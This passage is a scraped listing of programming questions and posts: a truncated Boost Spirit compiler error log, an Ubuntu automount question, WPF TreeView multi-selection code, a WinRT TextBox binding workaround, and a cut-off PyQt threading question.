mpl_::bool_<false>, mpl_::bool_<false>, mpl_::bool_<false> >, boost::phoenix::re_curry<boost::phoenix::assign_eval, MockExpressionNode&, boost::variant<MockExpressionNode, std::basic_string<char, std::char_traits<char>, std::allocator<char> >, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_>&, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_>, boost::phoenix::result_of_assign<MockExpressionNode&, boost::variant<MockExpressionNode, std::basic_string<char, std::char_traits<char>, std::allocator<char> >, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_>&> >’ /home/mineq/third_party/boost_1_43_0/boost/spirit/home/phoenix/operator/self.hpp:69: instantiated from ‘boost::phoenix::assign_eval::result<boost::phoenix::basic_environment<boost::fusion::vector1<boost::variant<MockExpressionNode, std::basic_string<char, std::char_traits<char>, std::allocator<char> >, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_>&>, boost::spirit::context<boost::fusion::cons<MockExpressionNode&, boost::fusion::nil>, boost::fusion::vector0<void> >, bool, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_>, boost::spirit::attribute<0>, boost::spirit::argument<0> >’ /home/mineq/third_party/boost_1_43_0/boost/spirit/home/phoenix/core/detail/composite_eval.hpp:89: instantiated from ‘boost::phoenix::detail::composite_eval<2>::result<boost::phoenix::composite<boost::phoenix::assign_eval, boost::fusion::vector<boost::spirit::attribute<0>, boost::spirit::argument<0>, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_> >, boost::phoenix::basic_environment<boost::fusion::vector1<boost::variant<MockExpressionNode, std::basic_string<char, std::char_traits<char>, std::allocator<char> >, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_>&>, boost::spirit::context<boost::fusion::cons<MockExpressionNode&, boost::fusion::nil>, boost::fusion::vector0<void> >, bool, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_> >’ /home/mineq/third_party/boost_1_43_0/boost/spirit/home/phoenix/core/composite.hpp:61: instantiated from ‘boost::phoenix::composite<boost::phoenix::assign_eval, boost::fusion::vector<boost::spirit::attribute<0>, boost::spirit::argument<0>, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_> >::result<boost::phoenix::basic_environment<boost::fusion::vector1<boost::variant<MockExpressionNode, std::basic_string<char, std::char_traits<char>, std::allocator<char> >, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_>&>, boost::spirit::context<boost::fusion::cons<MockExpressionNode&, boost::fusion::nil>, boost::fusion::vector0<void> >, bool, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_> >’ /home/mineq/third_party/boost_1_43_0/boost/spirit/home/phoenix/core/actor.hpp:56: instantiated from ‘boost::phoenix::eval_result<boost::phoenix::composite<boost::phoenix::assign_eval, boost::fusion::vector<boost::spirit::attribute<0>, boost::spirit::argument<0>, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_> >, boost::phoenix::basic_environment<boost::fusion::vector1<boost::variant<MockExpressionNode, std::basic_string<char, std::char_traits<char>, std::allocator<char> >, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_>&>, boost::spirit::context<boost::fusion::cons<MockExpressionNode&, boost::fusion::nil>, boost::fusion::vector0<void> >, bool, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_> >’ /home/mineq/third_party/boost_1_43_0/boost/spirit/home/phoenix/core/actor.hpp:65: instantiated from ‘boost::phoenix::actor<boost::phoenix::composite<boost::phoenix::assign_eval, boost::fusion::vector<boost::spirit::attribute<0>, boost::spirit::argument<0>, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_> > >::result<boost::phoenix::actor<boost::phoenix::composite<boost::phoenix::assign_eval, boost::fusion::vector<boost::spirit::attribute<0>, boost::spirit::argument<0>, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_> > >(boost::fusion::vector1<boost::variant<MockExpressionNode, std::basic_string<char, std::char_traits<char>, std::allocator<char> >, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_>&>&, boost::spirit::context<boost::fusion::cons<MockExpressionNode&, boost::fusion::nil>, boost::fusion::vector0<void> >&, bool&)>’ /home/mineq/third_party/boost_1_43_0/boost/spirit/home/support/action_dispatch.hpp:44: instantiated from ‘bool boost::spirit::traits::action_dispatch<Component>::operator()(const boost::phoenix::actor<Eval>&, Attribute&, Context&) [with Eval = boost::phoenix::composite<boost::phoenix::assign_eval, boost::fusion::vector<boost::spirit::attribute<0>, boost::spirit::argument<0>, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_> >, Attribute = boost::variant<MockExpressionNode, std::basic_string<char, std::char_traits<char>, std::allocator<char> >, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_, boost::detail::variant::void_>, Context = boost::spirit::context<boost::fusion::cons<MockExpressionNode&, boost::fusion::nil>, boost::fusion::vector0<void> >, Component = boost::spirit::qi::alternative<boost::fusion::cons<boost::spirit::qi::reference<const boost::spirit::qi::rule<__gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, MockExpressionNode(), boost::proto::exprns_::expr<boost::proto::tag::terminal, boost::proto::argsns_::term<boost::spirit::tag::char_code<boost::spirit::tag::space, boost::spirit::char_encoding::ascii> >, 0l>, boost::fusion::unused_type, boost::fusion::unused_type> >, boost::fusion::cons<boost::spirit::qi::reference<const boost::spirit::qi::rule<__gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::string(), boost::proto::exprns_::expr<boost::proto::tag::terminal, boost::proto::argsns_::term<boost::spirit::tag::char_code<boost::spirit::tag::space, boost::spirit::char_encoding::ascii> >, 0l>, boost::fusion::unused_type, boost::fusion::unused_type> >, boost::fusion::nil> > >]’ /home/mineq/third_party/boost_1_43_0/boost/spirit/home/qi/action/action.hpp:62: instantiated from ‘bool boost::spirit::qi::action<Subject, Action>::parse(Iterator&, const Iterator&, Context&, const Skipper&, Attribute&) const [with Iterator = __gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, Context = boost::spirit::context<boost::fusion::cons<MockExpressionNode&, boost::fusion::nil>, boost::fusion::vector0<void> >, Skipper = boost::spirit::qi::char_class<boost::spirit::tag::char_code<boost::spirit::tag::space, boost::spirit::char_encoding::ascii> >, Attribute = const boost::fusion::unused_type, Subject = boost::spirit::qi::alternative<boost::fusion::cons<boost::spirit::qi::reference<const boost::spirit::qi::rule<__gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, MockExpressionNode(), boost::proto::exprns_::expr<boost::proto::tag::terminal, boost::proto::argsns_::term<boost::spirit::tag::char_code<boost::spirit::tag::space, boost::spirit::char_encoding::ascii> >, 0l>, boost::fusion::unused_type, boost::fusion::unused_type> >, boost::fusion::cons<boost::spirit::qi::reference<const boost::spirit::qi::rule<__gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::string(), boost::proto::exprns_::expr<boost::proto::tag::terminal, boost::proto::argsns_::term<boost::spirit::tag::char_code<boost::spirit::tag::space, boost::spirit::char_encoding::ascii> >, 0l>, boost::fusion::unused_type, boost::fusion::unused_type> >, boost::fusion::nil> > >, Action = boost::phoenix::actor<boost::phoenix::composite<boost::phoenix::assign_eval, boost::fusion::vector<boost::spirit::attribute<0>, boost::spirit::argument<0>, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_> > >]’ /home/mineq/third_party/boost_1_43_0/boost/spirit/home/qi/nonterminal/detail/parser_binder.hpp:33: instantiated from ‘bool boost::spirit::qi::detail::parser_binder<Parser, Auto>::call(Iterator&, const Iterator&, Context&, const Skipper&, mpl_::true_) const [with Iterator = __gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, Skipper = boost::spirit::qi::char_class<boost::spirit::tag::char_code<boost::spirit::tag::space, boost::spirit::char_encoding::ascii> >, Context = boost::spirit::context<boost::fusion::cons<MockExpressionNode&, boost::fusion::nil>, boost::fusion::vector0<void> >, Parser = boost::spirit::qi::action<boost::spirit::qi::alternative<boost::fusion::cons<boost::spirit::qi::reference<const boost::spirit::qi::rule<__gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, MockExpressionNode(), boost::proto::exprns_::expr<boost::proto::tag::terminal, boost::proto::argsns_::term<boost::spirit::tag::char_code<boost::spirit::tag::space, boost::spirit::char_encoding::ascii> >, 0l>, boost::fusion::unused_type, boost::fusion::unused_type> >, boost::fusion::cons<boost::spirit::qi::reference<const boost::spirit::qi::rule<__gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::string(), boost::proto::exprns_::expr<boost::proto::tag::terminal, boost::proto::argsns_::term<boost::spirit::tag::char_code<boost::spirit::tag::space, boost::spirit::char_encoding::ascii> >, 0l>, boost::fusion::unused_type, boost::fusion::unused_type> >, boost::fusion::nil> > >, boost::phoenix::actor<boost::phoenix::composite<boost::phoenix::assign_eval, boost::fusion::vector<boost::spirit::attribute<0>, boost::spirit::argument<0>, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_, boost::fusion::void_> > > >, Auto = mpl_::bool_<false>]’ /home/mineq/third_party/boost_1_43_0/boost/spirit/home/qi/nonterminal/detail/parser_binder.hpp:53: instantiated from ‘bool boost::spirit::qi::detail::parser_binder<Parser, Auto>::operator()(Iterator&, const Iterator&, Context&, const Skipper&) const [with Iterator = __gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, Skipper = boost::spirit::qi::char_class<boost::spirit::tag::char_code<boost::spirit::tag::space, boost::spirit::char_encoding::ascii> >, Context = boost::spirit::context<boost::fusion::cons<MockExpressionNode&, boost::fusion::nil>, boost::fusion::vector0<void> >, Parser = boost::spirit::qi::action<boost::spirit::qi::alternative<boost::fusion::cons<boost::spirit::qi::reference<const boost::spirit::qi::rule<__gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, MockExpressionNode(), boost::proto::exprns_::expr<boost::proto::tag::terminal, boost::proto::argsns_::term<boost::spirit::tag::char_code<boost::spirit::tag::space, boost::spirit::char_encoding::ascii> >, 0l>, boost::fusion::unused_type, boost::fusion::unused_type> >, boost::fusion::cons<boost::spirit::qi::reference<const boost::spirit::qi::rule<__gnu_cxx::__normal_iterator<const char*, std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::string(), boost::proto::exprns_::expr<boost::proto::tag::terminal, boost::proto::argsns_::term<boost::spirit::tag::char_code<boost::spirit::tag::space, boost::spirit::char_encoding::ascii> >, 0l>, boost::fusion::unused_type, boost::fusion::unused_type> >, boost::fusion::nil> > >, ... ... more errors but i had to truncate to fit the 30k limit make[2]: *** [build/linux_amd64_devel/GNU-Linux-x86/tests_main.o] Error 1 make[2]: se sale del directorio `/home/mineq/NetBeansProjects/InputParserTests' make[1]: *** [.build-conf] Error 2 make[1]: se sale del directorio `/home/mineq/NetBeansProjects/InputParserTests' make: *** [.build-impl] Error 2 BUILD FAILED (exit value 2, total time: 2m 13s)

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  • Automount in Ubuntu 9.10

    - by easyrider
    Hi, By default Ubuntu doesn't mount internal NTFS hard drives automatically. A fstab solution not working properly, because of conflicts with the "intelligent" mount system. If I add my hd in fstab and reboot - it will be mounted. But if I go to nautilus, open places panel and click eject button (unmount) and than click on hd again to mount it, I will get an error. In 9.04 to solve this problem you need to modify hal rules in /etc/hal/... preferences.fdi in my case I modified it for only one drive. <device> - <match key="storage.hotpluggable" bool="false"> - <match key="storage.removable" bool="false"> <merge key="storage.automount_enabled_hint" type="bool">false</merge> - <match key="storage.model" string="ST3250310NS"> <merge key="storage.automount_enabled_hint" type="bool">true</merge> </match> </match> </match> </device> But this is not working in 9.10 - devs removed this function from hal to devkit-disk or udev? I don't know. Could you please tell me where automount rules are stored in 9.10? And how to create new rules, and what program controls automount in 9.10?

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  • WPF TreeView MouseDown

    - by imekon
    I've got something like this in a TreeView: <DataTemplate x:Key="myTemplate"> <StackPanel MouseDown="OnItemMouseDown"> ... </StackPanel> </DataTemplate> Using this I get the mouse down events if I click on items in the stack panel. However... there seems to be another item behind the stack panel that is the TreeViewItem - it's very hard to hit, but not impossible, and that's when the problems start to occur. I had a go at handling PreviewMouseDown on TreeViewItem, however that seems to require e.Handled = false otherwise standard tree view behaviour stops working. Ok, Here's the source code... MainWindow.xaml <Window x:Class="WPFMultiSelectTree.MainWindow" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:local="clr-namespace:WPFMultiSelectTree" Title="Multiple Selection Tree" Height="300" Width="300"> <Window.Resources> <!-- Declare the classes that convert bool to Visibility --> <local:VisibilityConverter x:Key="visibilityConverter"/> <local:VisibilityInverter x:Key="visibilityInverter"/> <!-- Set the style for any tree view item --> <Style TargetType="TreeViewItem"> <Style.Triggers> <DataTrigger Binding="{Binding Selected}" Value="True"> <Setter Property="Background" Value="DarkBlue"/> <Setter Property="Foreground" Value="White"/> </DataTrigger> </Style.Triggers> <EventSetter Event="PreviewMouseDown" Handler="OnTreePreviewMouseDown"/> </Style> <!-- Declare a hierarchical data template for the tree view items --> <HierarchicalDataTemplate x:Key="RecursiveTemplate" ItemsSource="{Binding Children}"> <StackPanel Margin="2" Orientation="Horizontal" MouseDown="OnTreeMouseDown"> <Ellipse Width="12" Height="12" Fill="Green"/> <TextBlock Margin="2" Text="{Binding Name}" Visibility="{Binding Editing, Converter={StaticResource visibilityInverter}}"/> <TextBox Margin="2" Text="{Binding Name}" KeyDown="OnTextBoxKeyDown" IsVisibleChanged="OnTextBoxIsVisibleChanged" Visibility="{Binding Editing, Converter={StaticResource visibilityConverter}}"/> <TextBlock Margin="2" Text="{Binding Index, StringFormat=({0})}"/> </StackPanel> </HierarchicalDataTemplate> <!-- Declare a simple template for a list box --> <DataTemplate x:Key="ListTemplate"> <TextBlock Text="{Binding Name}"/> </DataTemplate> </Window.Resources> <Grid> <!-- Declare the rows in this grid --> <Grid.RowDefinitions> <RowDefinition Height="Auto"/> <RowDefinition/> <RowDefinition Height="Auto"/> <RowDefinition/> </Grid.RowDefinitions> <!-- The first header --> <TextBlock Grid.Row="0" Margin="5" Background="PowderBlue">Multiple selection tree view</TextBlock> <!-- The tree view --> <TreeView Name="m_tree" Margin="2" Grid.Row="1" ItemsSource="{Binding Children}" ItemTemplate="{StaticResource RecursiveTemplate}"/> <!-- The second header --> <TextBlock Grid.Row="2" Margin="5" Background="PowderBlue">The currently selected items in the tree</TextBlock> <!-- The list box --> <ListBox Name="m_list" Margin="2" Grid.Row="3" ItemsSource="{Binding .}" ItemTemplate="{StaticResource ListTemplate}"/> </Grid> </Window> MainWindow.xaml.cs /// <summary> /// Interaction logic for MainWindow.xaml /// </summary> public partial class MainWindow : Window { private Container m_root; private Container m_first; private ObservableCollection<Container> m_selection; private string m_current; /// <summary> /// Constructor /// </summary> public MainWindow() { InitializeComponent(); m_selection = new ObservableCollection<Container>(); m_root = new Container("root"); for (int parents = 0; parents < 50; parents++) { Container parent = new Container(String.Format("parent{0}", parents + 1)); for (int children = 0; children < 1000; children++) { parent.Add(new Container(String.Format("child{0}", children + 1))); } m_root.Add(parent); } m_tree.DataContext = m_root; m_list.DataContext = m_selection; m_first = null; } /// <summary> /// Has the shift key been pressed? /// </summary> private bool ShiftPressed { get { return Keyboard.IsKeyDown(Key.LeftShift) || Keyboard.IsKeyDown(Key.RightShift); } } /// <summary> /// Has the control key been pressed? /// </summary> private bool CtrlPressed { get { return Keyboard.IsKeyDown(Key.LeftCtrl) || Keyboard.IsKeyDown(Key.RightCtrl); } } /// <summary> /// Clear down the selection list /// </summary> private void DeselectAndClear() { foreach(Container container in m_selection) { container.Selected = false; } m_selection.Clear(); } /// <summary> /// Add the container to the list (if not already present), /// mark as selected /// </summary> /// <param name="container"></param> private void AddToSelection(Container container) { if (container == null) { return; } foreach (Container child in m_selection) { if (child == container) { return; } } container.Selected = true; m_selection.Add(container); } /// <summary> /// Remove container from list, mark as not selected /// </summary> /// <param name="container"></param> private void RemoveFromSelection(Container container) { m_selection.Remove(container); container.Selected = false; } /// <summary> /// Process single click on a tree item /// /// Normally just select an item /// /// SHIFT-Click extends selection /// CTRL-Click toggles a selection /// </summary> /// <param name="sender"></param> private void OnTreeSingleClick(object sender) { FrameworkElement element = sender as FrameworkElement; if (element != null) { Container container = element.DataContext as Container; if (container != null) { if (CtrlPressed) { if (container.Selected) { RemoveFromSelection(container); } else { AddToSelection(container); } } else if (ShiftPressed) { if (container.Parent == m_first.Parent) { if (container.Index < m_first.Index) { Container item = container; for (int i = container.Index; i < m_first.Index; i++) { AddToSelection(item); item = item.Next; if (item == null) { break; } } } else if (container.Index > m_first.Index) { Container item = m_first; for (int i = m_first.Index; i <= container.Index; i++) { AddToSelection(item); item = item.Next; if (item == null) { break; } } } } } else { DeselectAndClear(); m_first = container; AddToSelection(container); } } } } /// <summary> /// Process double click on tree item /// </summary> /// <param name="sender"></param> private void OnTreeDoubleClick(object sender) { FrameworkElement element = sender as FrameworkElement; if (element != null) { Container container = element.DataContext as Container; if (container != null) { container.Editing = true; m_current = container.Name; } } } /// <summary> /// Clicked on the stack panel in the tree view /// /// Double left click: /// /// Switch to editing mode (flips visibility of textblock and textbox) /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void OnTreeMouseDown(object sender, MouseButtonEventArgs e) { Debug.WriteLine("StackPanel mouse down"); switch(e.ChangedButton) { case MouseButton.Left: switch (e.ClickCount) { case 2: OnTreeDoubleClick(sender); e.Handled = true; break; } break; } } /// <summary> /// Clicked on tree view item in tree /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void OnTreePreviewMouseDown(object sender, MouseButtonEventArgs e) { Debug.WriteLine("TreeViewItem preview mouse down"); switch (e.ChangedButton) { case MouseButton.Left: switch (e.ClickCount) { case 1: { // We've had a single click on a tree view item // Unfortunately this is the WHOLE tree item, including the +/- // symbol to the left. The tree doesn't do a selection, so we // have to filter this out... MouseDevice device = e.Device as MouseDevice; Debug.WriteLine(String.Format("Tree item clicked on: {0}", device.DirectlyOver.GetType().ToString())); // This is bad. The whole point of WPF is for the code // not to know what the UI has - yet here we are testing for // it as a workaround. Sigh... if (device.DirectlyOver.GetType() != typeof(Path)) { OnTreeSingleClick(sender); } // Cannot say handled - if we do it stops the tree working! //e.Handled = true; } break; } break; } } /// <summary> /// Key press in text box /// /// Return key finishes editing /// Escape key finishes editing, restores original value (this doesn't work!) /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void OnTextBoxKeyDown(object sender, KeyEventArgs e) { switch(e.Key) { case Key.Return: { TextBox box = sender as TextBox; if (box != null) { Container container = box.DataContext as Container; if (container != null) { container.Editing = false; e.Handled = true; } } } break; case Key.Escape: { TextBox box = sender as TextBox; if (box != null) { Container container = box.DataContext as Container; if (container != null) { container.Editing = false; container.Name = m_current; e.Handled = true; } } } break; } } /// <summary> /// When text box becomes visible, grab focus and select all text in it. /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void OnTextBoxIsVisibleChanged(object sender, DependencyPropertyChangedEventArgs e) { bool visible = (bool)e.NewValue; if (visible) { TextBox box = sender as TextBox; if (box != null) { box.Focus(); box.SelectAll(); } } } } Here's the Container class public class Container : INotifyPropertyChanged { private string m_name; private ObservableCollection<Container> m_children; private Container m_parent; private bool m_selected; private bool m_editing; /// <summary> /// Constructor /// </summary> /// <param name="name">name of object</param> public Container(string name) { m_name = name; m_children = new ObservableCollection<Container>(); m_parent = null; m_selected = false; m_editing = false; } /// <summary> /// Name of object /// </summary> public string Name { get { return m_name; } set { if (m_name != value) { m_name = value; OnPropertyChanged("Name"); } } } /// <summary> /// Index of object in parent's children /// /// If there's no parent, the index is -1 /// </summary> public int Index { get { if (m_parent != null) { return m_parent.Children.IndexOf(this); } return -1; } } /// <summary> /// Get the next item, assuming this is parented /// /// Returns null if end of list reached, or no parent /// </summary> public Container Next { get { if (m_parent != null) { int index = Index + 1; if (index < m_parent.Children.Count) { return m_parent.Children[index]; } } return null; } } /// <summary> /// List of children /// </summary> public ObservableCollection<Container> Children { get { return m_children; } } /// <summary> /// Selected status /// </summary> public bool Selected { get { return m_selected; } set { if (m_selected != value) { m_selected = value; OnPropertyChanged("Selected"); } } } /// <summary> /// Editing status /// </summary> public bool Editing { get { return m_editing; } set { if (m_editing != value) { m_editing = value; OnPropertyChanged("Editing"); } } } /// <summary> /// Parent of this object /// </summary> public Container Parent { get { return m_parent; } set { m_parent = value; } } /// <summary> /// WPF Property Changed event /// </summary> public event PropertyChangedEventHandler PropertyChanged; /// <summary> /// Handler to inform WPF that a property has changed /// </summary> /// <param name="name"></param> private void OnPropertyChanged(string name) { if (PropertyChanged != null) { PropertyChanged(this, new PropertyChangedEventArgs(name)); } } /// <summary> /// Add a child to this container /// </summary> /// <param name="child"></param> public void Add(Container child) { m_children.Add(child); child.m_parent = this; } /// <summary> /// Remove a child from this container /// </summary> /// <param name="child"></param> public void Remove(Container child) { m_children.Remove(child); child.m_parent = null; } } The two classes VisibilityConverter and VisibilityInverter are implementations of IValueConverter that translates bool to Visibility. They make sure the TextBlock is displayed when not editing, and the TextBox is displayed when editing.

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  • [Windows 8] Update TextBox’s binding on TextChanged

    - by Benjamin Roux
    Since UpdateSourceTrigger is not available in WinRT we cannot update the text’s binding of a TextBox at will (or at least not easily) especially when using MVVM (I surely don’t want to write behind-code to do that in each of my apps !). Since this kind of demand is frequent (for example to disable of button if the TextBox is empty) I decided to create some attached properties to to simulate this missing behavior. namespace Indeed.Controls { public static class TextBoxEx { public static string GetRealTimeText(TextBox obj) { return (string)obj.GetValue(RealTimeTextProperty); } public static void SetRealTimeText(TextBox obj, string value) { obj.SetValue(RealTimeTextProperty, value); } public static readonly DependencyProperty RealTimeTextProperty = DependencyProperty.RegisterAttached("RealTimeText", typeof(string), typeof(TextBoxEx), null); public static bool GetIsAutoUpdate(TextBox obj) { return (bool)obj.GetValue(IsAutoUpdateProperty); } public static void SetIsAutoUpdate(TextBox obj, bool value) { obj.SetValue(IsAutoUpdateProperty, value); } public static readonly DependencyProperty IsAutoUpdateProperty = DependencyProperty.RegisterAttached("IsAutoUpdate", typeof(bool), typeof(TextBoxEx), new PropertyMetadata(false, OnIsAutoUpdateChanged)); private static void OnIsAutoUpdateChanged(DependencyObject sender, DependencyPropertyChangedEventArgs e) { var value = (bool)e.NewValue; var textbox = (TextBox)sender; if (value) { Observable.FromEventPattern<TextChangedEventHandler, TextChangedEventArgs>( o => textbox.TextChanged += o, o => textbox.TextChanged -= o) .Do(_ => textbox.SetValue(TextBoxEx.RealTimeTextProperty, textbox.Text)) .Subscribe(); } } } } .csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, "Courier New", courier, monospace; background-color: #ffffff; /*white-space: pre;*/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } The code is composed of two attached properties. The first one “RealTimeText” reflects the text in real time (updated after each TextChanged event). The second one is only used to enable the functionality. To subscribe to the TextChanged event I used Reactive Extensions (Rx-Metro package in Nuget). If you’re not familiar with this framework just replace the code with a simple: textbox.TextChanged += textbox.SetValue(TextBoxEx.RealTimeTextProperty, textbox.Text); .csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, "Courier New", courier, monospace; background-color: #ffffff; /*white-space: pre;*/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } To use these attached properties, it’s fairly simple <TextBox Text="{Binding Path=MyProperty, Mode=TwoWay}" ic:TextBoxEx.IsAutoUpdate="True" ic:TextBoxEx.RealTimeText="{Binding Path=MyProperty, Mode=TwoWay}" /> .csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, "Courier New", courier, monospace; background-color: #ffffff; /*white-space: pre;*/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } Just make sure to create a binding (in TwoWay) for both Text and RealTimeText. Hope this helps !

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  • pyqt QObject: Cannot create children for a parent that is in a different thread

    - by memomk
